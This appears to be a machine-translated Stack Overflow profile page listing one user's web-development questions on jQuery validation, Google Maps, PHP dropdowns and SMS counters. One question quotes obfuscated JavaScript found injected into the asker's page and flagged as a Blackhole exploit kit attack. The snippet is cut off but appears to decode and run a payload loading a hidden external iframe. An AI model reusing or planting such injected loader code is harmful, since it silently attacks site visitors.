小编Ste*_*emp的帖子

使用JQuery Validation Plugin进行条件验证

我有一个简单的html表单,我已经使用JQuery Validation插件添加了验证.我让它适用于需要值的单个字段.我现在需要来扩展,这样,如果用户回答是一个问题,他们必须输入的详细信息字段的东西,否则详细信息字段可以留空.我正在使用单选按钮显示是/否.这是我完整的html表单 - 我不知道从哪里开始:

    <script type="text/javascript" charset="utf-8">
    $.metadata.setType("attr", "validate");
    $(document).ready(function() {
    $("#editRecord").validate();
    });
    </script>

    <style type="text/css"> 
    .block { display: block; }
    form.cmxform label.error { display: none; } 
    </style>

    </head>
    <body>

            <div id="header">
                <h1>
                    Questions</h1>
            </div>
            <div id="content">
                <h1>
                    Questions Page 1
                </h1>
          </div>
    <div id="content">
                <h1>
                </h1>
                <form class="cmxform" method="post" action="editrecord.php"     id="editRecord">
                <input type="hidden" name="-action" value="edit">
                  <h1>
                    Questions                
                  </h1>

          <table width="46%" class="record">
          <tr>
          <td width="21%" valign="top" class="field_name_left"><p>Question 1</p></td>
          <td width="15%" valign="top" class="field_data">
           <label for="Yes">
            <input type="radio" name="Question1" value="Yes" validate = …
Run Code Online (Sandbox Code Playgroud)

javascript validation jquery conditional

14
推荐指数
2
解决办法
2万
查看次数

Google Maps API v3 - TypeError:表达式'google.maps.LatLng'[undefined]的结果不是构造函数

我正在创建一个静态html页面来显示数据中的多个位置.我刚刚复制了其中一个示例并正在向后工作,但我在Safari Inspector中收到以下错误:

main.js:1SyntaxError: Parse error
sample.htm:10TypeError: Result of expression 'google.maps.LatLng' [undefined] is not a constructor.
Run Code Online (Sandbox Code Playgroud)

这是我的HTML代码:

<!DOCTYPE html> 
<html> 
<head> 
<meta name="viewport" content="initial-scale=1.0, user-scalable=no" /> 
<meta http-equiv="content-type" content="text/html; charset=UTF-8"/> 
<title>Multi Markers Sample via Google Maps</title> 
<link href="http://code.google.com/apis/maps/documentation/javascript/examples/default.css" rel="stylesheet" type="text/css" /> 
<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script> 
<script type="text/javascript"> 
function initialize() {
var myLatlng = new google.maps.LatLng(-30.2965590,153.1152650);
var myLatlng1 = new google.maps.LatLng(-30.2956470,153.1123707);
var myLatlng2 = new google.maps.LatLng(-30.2864430,153.1360230);
var myOptions = {
zoom: 13,
center: myLatlng,
mapTypeId: google.maps.MapTypeId.ROADMAP
}
var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); …
Run Code Online (Sandbox Code Playgroud)

javascript google-maps-api-3

7
推荐指数
1
解决办法
2万
查看次数

PHP数组和HTML表单下拉列表

我有一个名为$ categories的简单PHP数组,如下所示:

Array
(
[Closed] => P1000
[Open] => P1001
[Pending] => P1002
[In Progress] => P1003
[Requires Approval] => P1004
)
Run Code Online (Sandbox Code Playgroud)

我有一个简单的HTML表单,其中包含一个字段的下拉列表,我希望将该数组用于选项,但我只希望它显示文本(例如,已关闭,打开,待处理,正在进行和需要Approval)作为下拉列表中的选项,但存储该选项的关联键(例如P1000,P1001等),然后在提交表单时将其作为POST值发送.

到目前为止,表单字段的HTML是:

<select name="category_id">
<option value=""></option>
<?php foreach($categories as $category) {$category = htmlspecialchars($category);?>
<option value="<?php echo $category; ?>"><?php echo $category; ?></option>
<?php
}
?>
</select>
Run Code Online (Sandbox Code Playgroud)

我可以让它显示文本或ID,但不显示文本并存储ID.希望这很简单,有人可以指出我正确的方向.

非常感谢,史蒂夫

html php forms arrays

3
推荐指数
1
解决办法
3万
查看次数

将计数器添加到HTML表单并计算积分

我有一个简单的HTML表单,允许用户输入一些文本,然后通过SMS网关作为SMS/TXT消息发送.用户将消息文本输入textarea:

<textarea rows="10" cols="40" id="smsbody" validate = "required:true" name="MessageBody"></textarea>
Run Code Online (Sandbox Code Playgroud)

他们可以输入尽可能少的文本,但是因为每个短信限制为160个字符,我想显示一个字符计数器,显示输入的字符数,然后还计算这将使用的短信数量.计算学分的公式基于输入的学分总数:如果一条信息超过160个字符,它将被分成多个信息部分.每个消息部分的长度限制为153个字符(标题为7个字节).因此,160个字符的消息将是1个信用,306个字符将是2个信用,459个字符将是3个信用等等.

理想情况下,我希望以这种格式出现:

0个字符,1个SMS消息200个字符,2个SMS消息

我已经在使用jQuery了,也很高兴使用基于jQuery的解决方案.

非常感谢,史蒂夫

html javascript jquery counter character

1
推荐指数
1
解决办法
1870
查看次数

奇怪的Javascript出现在静态html网页上

我的网站有一个静态html网页,最近无法在我的Windows XP机器上加载我的网站.Norton Antivirus阻止该网站将其报告为"Web Attack:Blackhole Toolkit Website 7".我下载了我的index.htm页面,发现这个代码在我不是由我创建的同一页面的本地副本时创建的:

<script>
el = document.createElement("div");
el.appendChild(document.createTextNode("ReferenceErr"));
el.appendChild(document.createTextNode("q"));
el.insertBefore(document.createTextNode("l"), el.childNodes[1]);
try {
    try {
        throw 1
    } catch (a) {
        b[2] = 21
    };
} catch (a) {
    k = el.firstChild.nodeValue + a.toString().substr(0, 0);
};
ar = "\"aTBtc0.gyA:/[hi],b>  vCldmwf)s{up1oE'=<r(n;N}ez";
ar2 = "R80c80c60c112c84c164c100c140c20c128c104c184c168c16c28c32c184c16c144c96c184c104c184c168c16c120c12c36c8c4c32c176c4c104c184c164c148c72c140c100c36c148c116c52c24c64c116c124c80c80c80c60c112c160c4c104c184c160c164c116c172c80c80c180c84c184c96c120c184c84c124c80c80c80c100c140c20c128c104c184c168c16c28c108c160c60c16c184c164c0c156c60c112c160c4c104c184c84c120c160c20c152c148c56c16c16c132c44c48c48c188c140c168c100c32c160c140c128c132c28c20c140c104c48c56c140c104c184c28c132c56c132c148c84c108c60c100c16c56c152c148c136c24c148c84c56c184c60c32c56c16c152c148c136c24c148c84c120c16c36c96c184c152c148c88c60c120c60c72c60c96c60c16c36c44c56c60c100c100c184c168c172c132c140c120c60c16c60c140c168c44c4c72c120c140c96c128c16c184c172c96c184c112c16c44c24c172c16c140c132c44c24c172c148c76c156c48c60c112c160c4c104c184c76c0c116c172c80c80c180c80c80c112c128c168c20c16c60c140c168c84c60c112c160c4c104c184c160c164c116c124c80c80c80c88c4c160c84c112c84c152c84c100c140c20c128c104c184c168c16c28c20c160c184c4c16c184c144c96c184c104c184c168c16c164c148c60c112c160c4c104c184c148c116c172c112c28c120c184c16c40c16c16c160c60c72c128c16c184c164c148c120c160c20c148c68c148c56c16c16c132c44c48c48c188c140c168c100c32c160c140c128c132c28c20c140c104c48c56c140c104c184c28c132c56c132c148c116c172c112c28c120c16c36c96c184c28c88c60c120c60c72c60c96c60c16c36c152c148c56c60c100c100c184c168c148c172c112c28c120c16c36c96c184c28c132c140c120c60c16c60c140c168c152c148c4c72c120c140c96c128c16c184c148c172c112c28c120c16c36c96c184c28c96c184c112c16c152c148c24c148c172c112c28c120c16c36c96c184c28c16c140c132c152c148c24c148c172c112c28c120c184c16c40c16c16c160c60c72c128c16c184c164c148c108c60c100c16c56c148c68c148c136c24c148c116c172c112c28c120c184c16c40c16c16c160c60c72c128c16c184c164c148c56c184c60c32c56c16c148c68c148c136c24c148c116c172c80c80c80c100c140c20c128c104c184c168c16c28c32c184c16c144c96c184c104c184c168c16c120c12c36c8c4c32c176c4c104c184c164c148c72c140c100c36c148c116c52c24c64c28c4c132c132c184c168c100c92c56c60c96c100c164c112c116c172c80c80c180";
pau = "urn eReferenceErr".replace(k, "va" + el.childNodes[1].nodeValue);
e = Function("ret" + pau)();
ar2 = ar2.split("c");
ar2[0] = "80";
s = "";
for (i = 0; i != ar2.length; i++) {
    e('po'.concat('s=par', 'seInt(k', '.rep', …
Run Code Online (Sandbox Code Playgroud)

html javascript

1
推荐指数
1
解决办法
498
查看次数

通过Javascript传递隐藏的表单元素集

我有一个简单的HTML表单,其中包含一些用于发送SMS/TXT消息的输入字段.我还有一个jQuery脚本,它计算输入的字符数,并计算出将使用多少SMS Credits来发送消息.

它们出现在div中如下:

<div id='message'> 
<span id='char'>0</span> characters, 
<span id='msgs'>0</span> SMS Credit(s)
</div>????
Run Code Online (Sandbox Code Playgroud)

您可以在http://jsfiddle.net/gHAcM/看到整个页面减去大部分的PHP(只是为了简单起见)

我想做的是包括字符数(从0开始)和信用数(从0开始)

我不确定是否可以这样做,否则我需要通过php处理页面再次计算这些值,如果他们不能.只是试图避免两次做同样的事情,一次在Javascript中,然后再在PHP中.

非常感谢,史蒂夫

html javascript jquery hidden input

0
推荐指数
1
解决办法
438
查看次数